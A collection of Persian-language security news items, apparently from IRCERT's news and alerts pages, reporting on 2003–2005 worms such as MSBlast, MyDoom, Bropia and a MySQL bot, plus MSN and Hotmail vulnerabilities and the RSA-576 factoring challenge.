جوان 19 ساله ای که به جرم نوشتن MSBlast دستگیر شده بود، به ایجاد بخشی از مشکلات اینترنت در تابستان گذشته اعتراف کرد. جفری لی پارسون پذیرفت که نسخه MSBlast.B را که به teekids نیز مشهور است با تغییر نسخه اصلی کرم و افزودن یک درپشتی به آن برای کنترل کامپیوترهای آلوده ، به وجود آورده است.

جان مک کی ، یک وکیل مدافع، در این باره چنین می گوید:“ شاید پخش کردن یک ویروس کامپیوتری به نظر یک شوخی بی ضرر باشد اما ضرری که به کاربران کامپیوترها وارد می کند بسیار جدی است و لذا مجازات آن هم بسیار جدی است.“

دادگاه پارسون در روز 12 نوامبر برگزار خواهد شد. وی ممکن است به جرم وارد کردن عمدی خسارت به شبکه های کامپیوتری‌ به 18 تا 37 ماه زندان و پرداخت چند میلیون دلار محکوم شود.

پارسون در ماه آگوست سال 2003 و تنها 2 هفته پس از آغاز نفوذ MSBlast به شبکه های کامپیوتری دستگیر شد. مایکروسافت اشکال امنیتی مورد استفاده را در ماه جولای ترمیم کرده بود اما بسیاری از کاربران به دلیل عدم دریافت و نصب اصلاحیه مربوطه به این ویروس آلوده شدند.

تعداد کامپیوترهای آلوده شده به MSBlast.B هنوز مشخص نیست. پلیس و دادستانی این تعداد را بیش از 48 هزار می داند اما وکلای مدافع پارسون رقم واقعی را کمتر از این تعداد می دانند. تعداد کامپیوترهای آلوده شده می تواند در طول مدت زندان اثرگذار باشد.

بنابر مستندات ارائه شده از سوی FBI ،‌ بازرسان این سازمان ترافیکی را که کرم Blaster تولید می کرد را دنبال کردند تا به سایتی با نامی شبیه به نام مستعار پارسون یعنی teekids رسیدند. بنابر گزارشهای رسیده این سایت سورس کد چند کرم دیگر از جمله کرمی برای گسترش در شبکه های P2P را نیز در خود داشت.


﻿ IRCERT - اخبار و هشدارها - ! MSN Messenger تنها با ویروس در

تنها با ویروس در MSN Messenger !

11 اکتبر 2004 - 20 مهر 1383

کاربرانی که از نرم افزار MSN Messenger استفاده می کنند، تعطیلات این هفته را به تنهایی و شاید با همراهی یک ویروس بگذرانند!

مایکروسافت امروز اعلام کرد که همچنان در تلاش است تا مشکلات فنی موجود در خدمات سیستم instant-messaging را مرتفع نماید. این مشکلات که از سه روز پیش بروز کرده، از login کردن کاربران جلوگیری به عمل می آورد.

همزمان با این اشکال فنی، یک ویروس جدید با نام Funner نیز متولد شده است که از طریق خدمات MSN instant-messaging خود را گسترش می دهد و سعی می کند تا کاربران را به سایت www.78p.com هدایت کند.

البته Symantec اعلام کرده است که تابه حال شواهدی مبنی بر انجام عملیات تخریبی توسط این ویروس نیافته است. الیور فریدریک - مدیر ارشد تیم پاسخگویی امنیتی Symantec - می گوید:“ بنابر مشاهدات ما، این ویروس سعی می کند تا خود را به تمامی افراد موجود در لیست تماس شما در نرم افزار MSN Messenger ارسال کند، اما میزان آلودگی پایین است.“

بنا به گفته Symantec، این ویروس تنظیمات کامپیوتر قربانی را به گونه ای تغییر می دهد که کاربران با مراجعه به یکی از سایتهای مورد نظر (بیش از 900 سایت توسط این ویروس هدف قرار گرفته شده اند.) به سایت www.78p.com هدایت شوند. همچنین ممکن است این ویروس سعی کند تا با دریافت کد از این سایت، به کارایی خود بیافزاید. درحال حاضر سایت مزبور غیرفعال است.

اوایل بعد از ظهر امروز یکی از سخنگویان شرکت مایکروسافت اعلام کرد که اشکال فنی گفته شده رفع شده است اما اشاره ای به رابطه احتمالی موجود بین ویروس و مشکل مزبور نکرده است.


﻿ IRCERT - اخبار و هشدارها - Hotmail هشداری برای کاربران

هشداری برای کاربران Hotmail

6 ژوئن 2005 - 16 خرداد 1384

مایکروسافت طی دو روز گذشته با آگاهی از وجود یک حفره که می تواند به یک هکر اجازه دهد تا به اکانتهای Hotmail دسترسی پیدا کند، کار بخشی از سایت MSN‌را متوقف کرد

سخنگوی مایکروسافت اعلام کرده است که نشانی http://ilovemessenger.msn.com دارای یک مشکل امنیتی موسوم به cross-site scripting‌ است. در بررسی های اولیه مشخص شده است که یک هکر می تواند از این حفره استفاده کند و با قانع کردن کاربران Hotmail به کلیک کردن روی یک لینک، کوکی های آنها را به دست آورد. هکر با در اختیار گرفتن کوکی ها می تواند به اکانتهای ایمیل کاربران دسترسی یابد.

کوکی ها فایلهای کوچکی هستند که اطلاعات کاربر را روی کامپیوتر وی ذخیره می کنند. Hotmail با بیش از 200 میلیون اکانت، یکی از بزرگترین ارائه کنندگان خدمات ایمیل مبتنی بر وب به شمار می آید.

مشکلات امنیتی cross-site scripting از مشکلاتی در طراحی سایت ناشی می شوند و بیش از 5 سال پیش کشف شده اند. مایکروسافت این نوع حفره ها را در رده مشکلات امنیتی مهم و جدی شرح داده است.

به گفته مایکروسافت دیگر خطری کاربران Hotmail را تهدید نمی کند. سایت 'I Love Messenger' که به ارائه صورتکها، تصاویر و پس زمینه ها برای MSN Messenger می پرداخت، فعلا غیرفعال شده است و تا زمان حل مشکل فعال نخواهد شد.


﻿ IRCERT - اخبار و هشدارها- MSN Messenger مشکل امنیتی در

مشکل امنیتی در MSN Messenger

۹ مارس – ۱۹ اسفند

مایکروسافت اعلام کرده است که سه مشکل امنیتی را در نرم افزارهایش یافته است که یکی از آنها نرم افزار MSN Messenger 6.0 و کاربرانش را تحت تاثیر قرار می دهد. بنابر گزارش متخصصان امنیت نرم افزار دو مشکل امنیتی دارای سطح خطر متوسط و سومی دارای سطح خطر متوسط مایل به پایین است. مایکروسافتسه بسته امنیتی مجزا را برای رفع این مشکلات ارائه کرده است.

حفره امنیتی موجود در نرم افزارهای MSN Messenger 6.0 و 6.1 می تواند به یک هکر این امکان را بدهد که محتوای هارد دیسک فرد قربانی را طی چت کردن با وی مشاهده کند. مایکروسافت گفته است که در آینده نزدیک بسته امنیتی خاصی را برای این نرم افزار عرضه خواهد کرد. کاربرانی که تماس گیرنده های ناشناس (anonymous callers) را بلوکه نکرده اند بیشتر مورد تهدید قرار می گیرند. اما اگر این امکان فعال شده باشد و تماس گیرنده های ناشناس بلوکه شده باشند هکر باید خود را به قربانی معرفی کند تا وارد لیست نشانی قربانی شود. الیور فردریک – مدیر ارشد تیم پاسخگویی امنیتی Symantec – می گوید که در زمانی که امکان بلوکه کردن فعال نشده باشد هکر برای نفوذ نیازی به مکالمه با کاربر ندارد.

مشکل امنیتی دیگری که دارای سطح خطر متوسط است به هکر امکان می دهد تا با استفاده از حفره موجود در Outlook 2002 کد IE را اجرا کند و بدینوسیله سیستم قربانی را در اختیار بگیرد. البته اگر کاربر از طریق بخش in-box خود وارد outlook شود دچار مشکل نخواهد شد.

مشکل امنیتی سوم که توسط مایکروسافت شناسایی شده است به هکرها این امکان را می دهد تا یک حمله DoS را علیه سرورهایی که Windows Media Services 4.1 را اجرا می کنند انجام دهد.اگر یک هکر ترتیبی خاص از بسته های اطلاعاتی را برای یک سرور که این سرویس را اجرا می کند بفرستد می تواند هر جریان ویدئویی را دچار وقفه و اختلال کند.


﻿ IRCERT - اخبار و هشدارها - MSN Messenger حمله یک کرم به

حمله یک کرم به MSN Messenger

3 فوریه 2005 - 15 بهمن 1383

شرکت Trend Micro درباره گسترش نسخه جدید کرم Bropia که از طریق MSN Messenger توزیع می شود، هشدار داد.

امروز این شرکت اعلام کرد که کرم Bropia.F با یک کرم بسیار خطرناکتر همراه شده است تا به کامپیوترهای اصلاح نشده نفوذ کند.

آخرین نسخه Bropia دیروز بعد از ظهر کشف شده است. این کرم سیستمهای دارای نرم افزار MSN Messenger را آلوده می کند و با ارسال خود به عنوان تصویر یک مرغ بریان سعی می کند تا کاربران آنلاین را فریب دهد. همچنین این کرم ، کرم دیگری را با عنوان Agobot.ajc آزاد می کند که بسیار خطرناکتر است.

به گفته Trend Micro تا به حال تعداد زیادی سیستم توسط این کرم آلوده نشده اند اما چون پتانسیل گسترش این کرم بالاست لذا به آن درجه خطر متوسط داده شده است. این شرکت جلوگیری از گسترش و آلوده شدن به این نسخه از کرم را ساده دانسته است چون از حفره هایی استفاده می کند که اصلاحیه های آنها ماهها پیش ارائه شده اند و نیاز به دخالت کاربر ( دریافت فایل از طریق MSN Messenger و باز کردن آن ) دارد. توصیه شده است که کاربران MSN Messenger تنها فایلهایی را از طریق این نرم افزار دریافت و باز کنند که منتظر آنها بوده اند. حتی شناختن فرستنده نیز نمی تواند ملاک اطمینان باشد.

بنابر راهنمایی امنیتی ارائه شده توسط Trend Micro این کرم سیستمهای عامل ویندوز 95، 98، ME، NT، 2000 و XP را می تواند آلوده کند.

کرم دوم همراه Bropia این امکان را دارد که حملات DoS‌توزیع شده ای را علیه منابع و سرویسهای خاصی انجام دهد. برای مثال بر روی همان حفره هایی که Slammer، Blaster و ساسر استفاده می کردند، کار می کند.


﻿ IRCERT - اخبار و هشدارها- RSA حل شدن آخرین معمای رمزنگاری

آخرین معمای رمزنگاری RSA حل شد

27 آوریل – 8 اردیبهشت

شرکت RSA Security اعلام کرد که پس از 3 ماه تلاش مداوم , تیمی از ریاضیدانان اروپا و آمریکای شمالی توانستند آخرین معمای رمزنگاری این شرکت را حل کنند. این تیم که از 8 متخصص تشکیل شده بود از 100 ایستگاه کاری (Workstation) برای شکستن این رمز استفاده کردند و جایزه 10 هزار دلاری را از آن خود کردند.

این مسابقات را شرکت RSA برای تست استحکام الگوریتم های طولانی به کار گرفته شده برای امنیت الکترونیکی برگزار می کند. هدف از این رقابت , تشویق به تحقیق در زمینه تئوری اعداد محاسباتی و دشواری عملی فاکتورگیری از اعداد صحیح بزرگ است.

کالیسکی – یکی از مدیران آزمایشگاههای RSA – معتقد است که اطلاعات دریافت شده طی این رقابتها , منابع بسیار ارزشمندی برای جامعه رمزنگاری است و می تواند به سازمانها کمک کند تا معیارهای رمزنگاری مناسبی را برای دست یابی به سطح امنیتی مورد نظر انتخاب کنند.

شرکت کنندگان در این مسابقه سعی داشتند تا دو عدد اولی را که مورد استفاده قرار می گیرند تا 8 عدد اصلی کد رمزنگاری 576 بیتی RSA را تولید کنند , بیایند. RSA-576 یک نمونه کوچک از کلیدهای رمزنگاری است که برای امن کردن تراکنشهای اینترنت و بی سیم توصیه می شود. کلیدها معمولا حداقل 1024 بیتی (310 رقم دهدهی) هستند اما RSA-576 , 576 بیتی (174 رقم دهدهی ) است. اعداد بزرگتر امنیت بیشتری را تامین می کنند. رقابت بعدی بر روی RSA-640 خوهد بود.


﻿ IRCERT - و حمله به مایکروسافت - اخبارها و هشدارها MyDoom

MyDoom و حمله به مایکروسافت

27 جولای 2004 – 6 مرداد 1383

با وجودی که گسترش نسخه جدید MyDoom به سرعت کم می شود اما مشخص می شود که این کرم آلودگی ها و مشکلات فرعی نیز با خود داشته که از آن جمله می توان به برنامه ای برای حمله DoS به مایکروسافت اشاره کرد.

MyDoom.M روز دوشنبه برای اولین بار دیده شد و به گوگل و چند موتور جستجوی دیگر حمله کرد تا با روش جدیدی که نویسنده این کرم ابداع کرده بود بتواند نشانی های ایمیل بیشتری را جهت انتشار خود بیابد. البته عمر این کرم طولانی نشد و پس از 12 ساعت فعالیت جدی ، رو به افول نهاد. اما کامپیوترهایی که به این ویروس آلوده شده و پاک نشوند می توانند به عنوان بستر خوبی برای حملات بعدی مورد استفاده قرار گیرند. از مشخصات عمده این کرم باز کردن یک در پشتی بر روی کامپیوتر قربانی بود که می تواند برای قرار دادن کدهای خطرناک روی کامپوتر آلوده مورد استفاده قرار گیرد.

اولین کرمی که برای استفاده از این در پشتی نوشته شد ،‌ Zindos.A است که برای حمله به سایت اصلی مایکروسافت برنامه ریزی شده است. این کرم بدنبال IP های تصادفی می گردد که پورتهای آنها توسط بخش مخربی از MyDoom.M با نام Zincite.A باز شده باشد. هنگامی که یک کامپیوتر قابل نفوذ را بیابد ، خود را روی آن نصب می کند و شروع به انجام یک حمله DoS علیه سایت Microsoft.com می کند.

البته این کرم نتوانسته گسترش چندانی پیدا کند و مایکروسافت نیز به کاربران سایت خود اطمینان داده که سایت بدون مشکلی به فعالی خود ادامه می دهد. اما متخصصان نگران شیوه جدید از ویروس نویسی هستند که از یک ویروس جهت گسترش ویروسهای بعدی استفاده شود. MyDoom.M مکانیزمی برای نگهداری لیست کامپیوترهای آلوده دارد تا نویسنده کرم بتواند حملات بعدی را با کمک آنها و با قرار دادن کدهای خطرناک روی آنها انجام دهد و از طرف دیگر از نفوذ هکرهای رقیب به کامپیوترهای آلوده جلوگیری کند.


﻿ IRCERT - شرکتهای ضدویروس را تهدید می کند - اخبارها و هشدارها MyDoom

MyDoom شرکتهای ضدویروس را تهدید می کند

18 اکتبر 2004 - 27 مهر 1383

شرکتهای تولیدکننده ضدویروس اخیرا با حجم بالایی از ویروسها روبرو شده اند که دارای پیغامهای تهدیدآمیزی درباره حمله به آن شرکتها هستند.

نویسندگان ویروسها شرکتهای F-Secure ، Symantec ، Trend Micro و McAfee را مورد تهدید قرار داده اند.

در آخرین نسخه MyDoom یعنی MyDoom.AE پیغامی مخفی شده است که ویروس رقیب یعنی Netsky را به مسخره گرفته و شرکتهای تولیدکننده ضدویروس را نیز تهدید کرده است. این پیغام باعث نگرانی این شرکتها شده است.

مایکو هایپونن - مدیر بخش تحقیقات F-Secure - می گوید:“ باید منتظر باشیم تا ببینیم منظور از تهدید به حمله چیست. ممکن است یک حمله DoS مدنظر باشد. ما پیش از این هم هدف چنین حملاتی قرار گرفته ایم اما اخیرا حمله ای انجام نشده است.“

هایپونن اشاره کرده است که در پیغام موجود در این ویروس، به دستگیری سون جاشان اشاره شده و وی را از عرصه بازی حذف شده تلقی کرده است:

"Because Jaschan has been arrested, he is no longer a player in the virus war. And MyDoom wanted to highlight they had won the war."

بنابه گفته هایپونن این ویروس هنوز صدمه جدی و مهمی وارد نکرده است.


﻿ IRCERT - اخبار و هشدارها - MyDoom چهار نسخه جدید

چهار نسخه جدید MyDoom

10 سپتامبر 2004 - 20 شهریور 1383

امروز متخصصان امنیتی هشدار دادند که نسخ جدیدی از MyDoom در حال پخش شدن بر روی اینترنت هستند. این ویروسها بسیار شبیه به هم هستند. همه آنها به گونه ای طراحی شده اند که برای انتشار، یک کپی از برنامه را به ایمیل الحاق می کنند و سایر برنامه های لازم را از وب سایتهای آلوده شده دریافت می کنند. همچنین همه نسخ از ارتباط کامپیوتر قربانی با سایتهای ضدویروس جلوگیری می کنند و لذا پاکسازی کامپیوترهای آلوده به سادگی میسر نیست.

بعضی کارشناسان معتقدند این حقیقت که چند نسخه مشابه از MyDoom باهم منتشر شده است می تواند نشانگر آن باشد که نسخه بسیار خطرناکی در راه است،‌همانطور که در زمان انتشار ویروس Bagle چنین اتفاقی افتاد. این کارشناسان هشدار داده اند که کاربران مراقب ایمیلهایی که دریافت می کنند باشند.

نسخه اصلی MyDoom‌در ماه ژانویه منتشر شد. این ویروس به سرعت و از طریق الحاق به ایمیل منتشر می شود. در آن زمان برخی شرکتهای تولیدکننده ضدویروس این برنامه را بدترین ویروس کامپیوتری که از طریق ایمیل منتشر می شود خواندند. این ویروس به گونه ای برنامه ریزی شده بود که سایتهای مایکروسافت و SCO Group - شرکتی که مدعی مالکیت فناوری اصلی در سیستم عامل لینوکس است - را با جریان داده مورد حمله قرار می داد. نسخ جدید این ویروس حملات جدیدی را بر علیه مایکروسافت تدارک دیده بود.


﻿ IRCERT - ه ایمیلها و موتورهای جستجو یورش می برد - اخبارها و هشدارها MyDoom

MyDoom به ایمیلها و موتورهای جستجو یورش می برد

26 جولای 2004 – 5 مرداد 1383

نسخه جدید ویروس مزاحم MyDoom امروز به 4 موتور جستجوی مشهور حمله کرد و ایمیلهای کاربران در سراسر دنیا را نیز از این حملات بی نصیب نگذارد.

نسخه جدید که MyDoom.M یا MyDoom.O نام دارد، اولین بار صبح امروز شناسایی شد . این ویروس به سرعت شروع به انتشار خود کرد و صدها ایمیل را به صندوق پست الکترونیکی کاربران فرستاد.همچنین این ویروس باعث کندی سرعت Google ، Yahoo ، AltaVista و Lycos شد چون به محض آلودگی یک کامپیوتر، ‌آن سیستم به صورت خودکار به انجام جستجو روی این موتورهای جستجو اقدام می کند.

شرکت MessageLabs که نظارت بر ایمیلها را بر عهده دارد، اعلام کرده است که طی 5 ساعت اول انتشار این ویروس ، 23 هزار کپی از آن را شناسایی کرده است.McAfee این ویروس را با درجه خطر medium on watch معرفی کرده است که یک درجه پایین تر از بالاترین میران خطر به شمار می آید. ده ها هزار کامپیوتر بوسیله این کرم آلوده شده اند. اما بیشترین تاثیر حملات این کرم اینترنتی بر روی موتورهای جستجو قابل مشاهده بوده است. Google ، Lycos و Altavista تقریبا امروز صبح قابل استفاده نبودند و Yahoo نیز با کندی به ارائه خدمات می پرداخت.. بنابه گزارش یکی از کارشناسان از McAfee ، این ویروس پس از نصب روی سیستم جدید ، بدنبال نشانی های ایمیل بر روی هارد قربانی می گردد و سپس با اجرای جستجوهای مختلف بر روی این چهار موتور جستجو سعی می کند تا نشانی های جدیدی بیاید. این ویروس با این کار در واقع یک حمله DoS را به این سایتها انجام می دهد. این روش یافتن نشانی ، ترفندی جدید در سری MyDoom به حساب می آید چون در نسخ قبلی تنها هارد دیسک سیستم آلوده برای یافتن نشانی های جدید جستجو می شد.

بنابه گفته یکی از مدیران Symantec این کرم اینترنتی با کمک موتورهای جستجو به دنبال ایمیلهایی می گردد که هم دامنه با ایمیل اصلی قربانی باشند و برو روی وب منتشر شده باشند. برای مثال اگر کامپیوتر شما آلوده شده باشد و ایمیل اصلی شما me@mycompany.com باشد ،‌ این کرم سعی می کند تا تمامی صندوقهای پست الکترونیک موجود روی mycompany.com را نیز آلوده کند. از آنجایی که این کرم خود را از ایمیل قربانی برای سایرین ارسال می کند ، در بسیاری از موارد کاربران تصور می کنند که یکی از همکارانشان برایشان ایمیلی ارسال کرده است و لذا ایمیل را باز می کنند.

ایمیلها در قالب یک ایمیل برگشتی از postmaster و یا یک اخطار از مدیر شبکه ارسال می شوند و از آنجایی که از نظر ظاهر شبیه به ایمیلهای واقعی مدیران شبکه است لذا می تواند کاربران را فریب دهد. یک فایل اجرایی به ایمیلها الحاق شده است که با اجرای آن کرم مزبور منتشر خواهد شد. یکی از کارشناسانCERT معتقد است این کرم اینترنتی یک در پشتی ( backdoor ) نیز برای سیستم باز می کند و به هکر امکان می دهد تا کنترل سیستم آلوده را به دست بگیرد اما هنوز این گزارش تایید نشده است. McAfee‌ راهی را برای پاک کردن این ویروس ارائه کرده است.

اولین نسخه MyDoom ژانویه امسال شناسایی شد و توانست نام خود را به عنوان یکی از مخربترین کرمهای اینترنتی ثبت کند.


﻿ IRCERT - سریع ترین کرم اینترنتی - اخبارها و هشدارها MyDoom

MyDoom حمله خود به شبکه ها را آغاز کرده است

سریعترین کرم اینترنتی

5 فوریه 2004 – 16 بهمن 1382

شما هم اخیرا ایمیلهای عجیب و غریب از مدیر صندوق پست الکترونیکی تان دریافت می کنید؟ حتما دیده اید که یک فایل txt هم به آن الحاق شده است. امیدوارم آن فایل را باز نکرده باشید , چون آن ایمیل ها چیزی نبوند جز پیغامهایی از سریعترین ویروس شناخته شده در دنیا.

اواخر ژانویه ( 8-9 بهمن ماه) سایتهای خبری ,از حمله یک کرم اینترنتی جدید به شبکه ها خبر دادند. کرمی که با سرعتی باور نکردنی خود را تکثیر و پخش می کرد و توانست لقب سریعترین کرم رایانه ای را از Sobig.F برباید. این کرم اینترنتی MyDoom نام داشت.

MyDoom که هنوز منبع اصلی آن ناشناخته است , رایانه های زیادی را در همان روزهای اول آلوده کرد. شرکت امنیتی MessageLabs در روز چهارشنبه 8 بهمن طی گزارشی اعلام کرد که بیشترین آلودگی در مناطق آمریکا و استرالیا بوده است, اما مطابق با گزارشهای رسیده از شرکت British این کرم در همان چند روز اول با ارسال 1.8 میلیون کپی توانسته است آلودگی را در 168 کشور دنیا پراکنده کند. British همچنین در گزارش خود اشاره کرده بود که در هر ساعت جلو 100 هزار کپی از این کرم گرفته می شود. مطابق با آمار ارائه شده از شرکت MessageLabs از هر 12 ایمیل یکی آلوده است , در حالی که در زمان حمله Sobig.F این نسبت 17 به 1 رسیده بود و این نشان از سرعت و شدت حملات MyDoom دارد. سایر آمارها نیز حکایت از همین قضیه داشت. شرکت MessageLabs تنها در یک روز توانسته بود 8.4 میلیون ایمیل آلوده را متوقف کند. 20 درصد ایمیلهای دریافت شده توسط سرورهای شهر بوستون توسط این کرم تولید شده بودند. دانشگاه کارولینای شمالی نیز روزانه 1 میلیون ایمیل آلوده دریافت می کرد. اما MyDoom چگونه کار می کند؟

این کرم که با نامهای Novarg و Shimgapi نیز شناخته می شود, در قالب یک فایل الحاقی باینری فرستاده می شود. گاهی اوقات فایل الحاقی , یک فایل آرشیو 22528 بایتی ZIP است که با وجودی که در اصل یک فایل اجرایی است اما آیکون خود را به شکل یک فایل متنی نمایش می دهد. بدنه ایمیل یکسان نیست اما در اغلب مواقع به نظر می رسد که شما یک پیغام خطا مانند :" The message cannot be represented in 7-bit ASCII… " دریافت کرده اید. از آنجایی که آیکون مربوط به فایلهای متنی است در بسیاری از موارد کاربران آن را با خیال راحت باز می کنند , غافل از این که با این کار رایانه خود را آلوده می کنند. در بعضی موارد نیز به نظر می رسد که شما ایمیل را از یک نشانی رسمی مانند ایمیل مدیر شبکه یا صندوق پست الکترونیکی خود دریافت کرده اید. هنگامی که ایمیل را باز می کنید , اطلاعات مفیدی در بدنه آن نمی یابید و لذا فایل الحاقی را باز می کنید و نتیجه چیزی می شود که کرم اینترنتی خواستار آن بوده است.

MyDoom همانند سایر کرمهای اینترنتی خود را از طریق ایمیل تکثیر می کند . همچنین این کرم خود را درون تمام دایرکتوریهای اشتراکی مورد استفاده سایتهایی مانند Kazaa نیز کپی می کند تا بتواند به رایانه های بیشتری حمله کند. این کرم نشانی های ایمیل را از رایانه های آلوده بر می دارد و فایلهایی با پسوندهای .wab , .adb , .tbb , .dbx , .asp , .php, .sht, .htm و .txt را مورد حمله قرار می دهد. این کرم همچنین سعی می کند تا نشانی های ایمیلی را به صورت تصادفی تولید کند و به آنها ایمیل بفرستد. تحلیلهای اولیه نشان می دهد که MyDoom برای برقراری ارتباط از پورت 3127 که برای دسترسی از دور کاربرد دارد, استفاده می کند.

در بعضی نسخه های این کرم هنگامی که یک کاربر فایل الحاقی را باز کند, برنامه Notepad باز می شود و یک مجموعه کاراکتر تصادفی را نمایش می دهد. در همان زمانی که این کرم خود را تکثیر می کند , یک در پشتی (Backdoor) نیز برای هکرها باز می کند تا بتوانند به سیستم نفوذ کنند. بعضی از نسخه ها نیز یک برنامه Keystroke را نصب می کنند که هرآنچه را شما تایپ می کنید, ثبت می کند ولذا براحتی می تواند شماره های کارت اعتباری و یا کلمات عبور را سرقت کند.

همچنین همانطور که اشاره شد, این کرم از طریق شبکه های اشتراک فایل مانند Kazaa نیز منتشر می شود. این کرم معمولا در این شبکه ها با عناوینی مانند Winamp5 و ICQ2004-final فعالیت می کند. لذا بسیاری از کاربران که به چت علاقه دارند و یا به دنبال فایلهای MP3 هستند, با دیدن این نامها گول می خورند و اقدام به دریافت آنها می کنند.

نسخه اولیه این کرم به گونه ای برنامه ریزی شده بود که در زمانی مشخص به سایت sco.org متعلق به شرکت SCO که ادعای مالکیت سیستم عاملهای UNIX را دارد, از تمامی رایانه های آلوده شده حمله DoS می کرد تا آن را با ترافیک سنگینی روبرو کند و از کار بیاندازد. نسخه ثانویه یعنی MyDoom.B نیز برای حمله به سایتهای SCO و مایکروسافت طراحی شده بود. کرم به گونه ای برنامه ریزی شده است که این حملات مدت 12 روز ادامه یابد. هر یک از این دو شرکت مبلغ 250 هزار دلار را جهت جایزه دادن به یابنده منبع این کرم اینترنتی اختصاص داده اند.

بنابر گزارشهای رسیده زیان مالی حاصل از این حملات اعم از کاهش سرعت شبکه یا خسارات دیگر , براحتی قابل اندازه گیری دقیق نیست اما حدود میلیاردها دلار برآورد می شود.

کارشناسان راه مقابله با این کرم اینترنتی را تنها باز نکردن و پاک کردن آن می دانند. همچنین توصیه می کنند که کاربران به هیچ وجه ایمیلهای ناشناخته را باز نکنند و ویروس کش خود را نیز بروز نگهدارند.


﻿ IRCERT - بازهم حمله ورشد - اخبارها و هشدارها MyDoom

MyDoom باز هم حمله ور شد

25 فوریه – 6 اسفند

متخصصان امنیت شبکه خبر از حمله نسخه جدیدی از کرم اینترنتی MyDoom داده اند. این نسخه که MyDoom.F نام دارد برای آلوده کردن کامپیوترهای شخصی برنامه ریزی شده است تا از طریق آنها حملات DoS را علیه سایتهای متعلق به شرکت مایکروسافت و RIAA ( Recording Industry Association of America ) انجام دهد.

گفته می شود حملات با موفقیت همراه نبوده و تنها دسترسی به سایت RIAA با کمی کندی روبرو بوده است. RIAA گروهی است که جهت حفظ حق کپی صنعت موسیقی تلاش می کند و با نرم افزارها و مجموعه هایی که به مبادله رایگان موسیقی می پردازند مقابله می کند.

این نسخه جدید به سرعت اجداد خود تکثیر و توزیع نمی شود اما میزان تخریب آن بیشتر است چون به صورت اتفاقی بعضی فایلهای Word و Excel و همچنین تصاویر و فیلمهای ذخیره شده بر روی کامپیوتر قربانی را پاک می کند. لذا گفته می شود این ویروس از نظر تخریب در چند ماه اخیر کم نظیر است. اخیرا اکثر ویروسها به جای تخریب فایلهای قربانی ،کامپیوتر آلوده را مبدل به یک فرمانبر برای نویسنده ویروس می کنند تا دستورات وی را کامل اجرا کند. معمولا از این لشکر ماشینهای گوش به فرمان برای ارسال ایمیلهای اسپم یا انجام حملات DoS استفاده می شود.

متخصصان امنیت شبکه همچون گذشته به کاربران توصیه می کنند که ایمیلهای مشکوک را باز نکنند. این ویروس جدید ایمیهایی با موضوعات مختلف همچون : "Approved" ، "Your Credit Card" و

"You use illegal File Sharing...Your IP was logged" ارسال می شود و از این طریق کاربران را گول می زند.


﻿ IRCERT - نیامده می رود! - اخبارها و هشدارها MyDoom

MyDoom نیامده می رود!

27 جولای 2004 – 6 مرداد 1383

آخرین نسخه از MyDoom که دیروز شناسایی شده بود ، طی 12 ساعت به اوج انتشار خود رسید و پس از آن رو به افول نهاد.

این کرم اینترنتی که MyDoom.M یا MyDoom.O نام دارد دیروز به چهار موتور جستجو و ایمیلهای کاربران حمله ور شد. Google ، Yahoo ، AltaVista و Lycos در کار خود با کندی روبرو شدند چون به محض آلودگی یک کامپیوتر، ‌آن سیستم به صورت خودکار به انجام جستجو روی این موتورهای جستجو اقدام می کرد.

به گزارش MessageLabs طی 24 ساعت اولیه از انتشار این کرم ، 599641 ایمیل آلوده به این کرم مشاهده شده است. این درحالی است در زمان انتشار نسخه اولیه MyDoom ، طی 24 ساعت اول بیش از دوبرابر این تعداد گزارش شده بود. به عقیده کارشناسان شرکت MessageLabs ، با توجه به کاهش سرعت انتشار این کرم از شب گذشته ،‌ طی امروز و فردا حمله این کرم به آرامی فروکش می کند و تا انتهای هفته سرعت گسترش به شدت کاهش می یابد.

جک کلارک - یک مشاور و متخصص امنیتی در McAfee – معتقد است که این نسخه از MyDoom هیچ چیز خاصی با خود نداشت و تنها رفتار معمول کرمهای اینترنتی را دنبال می کرد. وی می گوید :“ این کرم طی 12 ساعت واقعا فعال بود اما حالا درحال مرگ است.“ وی با اشاره به اسب تروایی که هفته گذشته منتشر شد ، تاکید می کند که این کرم برای فریب کاربران کار خاصی را انجام نمی دهد.

اما Symantec امروز هشدار داد که آخرین نسخه MyDoom می تواند یک در پشتی را برای هکرها بر روی سیستم باز کند. بنابه گفته این شرکت هکرها ویروسی را با نام W32.Zindos.A نوشته اند که از این در پشتی استفاده می کند. البته از آنجایی که کاربران از خود در مقابل MyDoom حفاظت کرده اند ، این ویروس انتشار سریع و وسیعی نداشته است.


﻿ IRCERT - اخبار و هشدارها - MySQL مقابله با حملات کرم

مقابله با حملات کرم MySQL

28 ژانویه 2005 - 9 بهمن 1383

کرمی که با سوء‌استفاده از کلمات عبور ضعیف مدیران شبکه خود را گسترش می دهد، دیده شده است.

بنابر راهنمایی امنیتی منتشر شده از طرف ISC، این کرم که MySQL bot نام دارد و نام کد اجرایی آن SpoolCLL است، به کامپیوترهایی که سیستم عامل ویندوز و دیتابیس سورس آزادی مانند MySQL دارند، حمله می کند. اولین گزارشها در روز 27 ژانویه حاکی از آن بود که بیش از 8 هزار کامپیوتر تا آن زمان آلوده شده اند.

این کرم با استفاده از کلمات عبور معمول سعی می کند تا کلمه عبور مدیر سیستم را حدس بزند و از این طریق دسترسی اولیه ای به دیتابیس پیدا کند. پس از آن از مشکل امنیتی موجود در MySQL استفاده می کند تا یک روبات نرم افزاری یا bot را اجرا کند و کنترل سیستم را کاملا در اختیار بگیرد.

در راهنمایی امنیتی ISC آمده است:“ bot یک لیست طولانی از کلمات عبور با خود دارد و با استفاده از آن حمله brute-force انجام می دهد.“

سیستم آلوده سازی این کرم به کرم Slammer شباهت دارد اما درصورتی که کلمه عبور خوب و مناسبی انتخاب کرده باشید از خطر این کرم در امان خواهید بود. از طرف دیگر معمولا دیتابیس MySQL‌بر روی سیستم عاملهای سورس آزاد مانند لینوکس نصب می شود و لذا تعداد کامپیوترهایی که در معرض حمله توسط این کرم قرار دارند زیاد نیستند.

مشکل امنیتی مورد استفاده این کرم در اواسط سال 2004 کشف شد و کد نفوذ آن نیز در اواخر ماه دسامبر ارائه گردید. این مشکل که MySQL UDF Dynamic Libray نام دارد از آنجا به وجود می آید که نرم افزار دیتابیس کنترلهای امنیتی کافی را بر روی توابع تعریف شده توسط کاربر ( UFDs) اعمال نمی کند.

به گفته ISC کامپیوترهایی که در اختیار این کرم قرار می گیرند سعی می کنند تا با اتصال به یکی از سرورهای IRC، اهداف جدید خود را بیایند. بر همین اساس بود که امروز با از مدار خارج کردن سرورهای مزبور، گسترش MySQL متوقف شد.

